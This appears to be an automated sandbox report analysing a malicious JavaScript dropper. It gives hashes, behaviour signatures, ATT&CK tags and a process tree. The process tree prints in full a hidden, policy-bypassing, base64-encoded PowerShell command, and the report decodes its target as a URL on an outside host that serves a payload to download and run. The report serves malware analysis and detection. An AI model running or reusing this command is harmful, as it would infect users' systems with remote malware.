11827dd777333a8deef8847d36a7070bc1732870e64d5f98cf72efe56dfe9e83

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
06/01/2024, 22:07

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General

Target

4748877c4e4c31b6755c352c23488b4c.js
Size

300KB
MD5

4748877c4e4c31b6755c352c23488b4c
SHA1

0a0cda5921b28c7c95a253d6c94eef40b3226f56
SHA256

11827dd777333a8deef8847d36a7070bc1732870e64d5f98cf72efe56dfe9e83
SHA512

97ef01d2b9918967a00cb07466904b3da90f0919d1d9074b58d84740dca7ddcc5599d6d87d8366073798b837c4d14eea93916d3f81183f71e6fda8cbe5775071
SSDEEP

6144:0Xt/0DvgNSBWaMP92QXcI0yjUTTkSP/C9XSRsOigKuhkNGr:0Xt8DvMSZM1ELyfssxB4r

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://jolantagraban.pl/log/57843441668980/dll/assistant.php

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2552	powershell.exe
6	2552	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2552	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 3044	2860	wscript.exe	28
PID 2860 wrote to memory of 3044	2860	wscript.exe	28
PID 2860 wrote to memory of 3044	2860	wscript.exe	28
PID 3044 wrote to memory of 2552	3044	cmd.exe	30
PID 3044 wrote to memory of 2552	3044	cmd.exe	30
PID 3044 wrote to memory of 2552	3044	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\4748877c4e4c31b6755c352c23488b4c.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2552

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2552-6-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2552-5-0x000000001B880000-0x000000001BB62000-memory.dmp

Filesize
2.9MB

Download
memory/2552-8-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2552-7-0x0000000002DE0000-0x0000000002E60000-memory.dmp

Filesize
512KB

Download
memory/2552-9-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2552-12-0x0000000002DE0000-0x0000000002E60000-memory.dmp

Filesize
512KB

Download
memory/2552-11-0x0000000002DE0000-0x0000000002E60000-memory.dmp

Filesize
512KB

Download
memory/2552-10-0x0000000002DE0000-0x0000000002E60000-memory.dmp

Filesize
512KB

Download
memory/2552-13-0x0000000002DE0000-0x0000000002E60000-memory.dmp

Filesize
512KB

Download
memory/2552-14-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download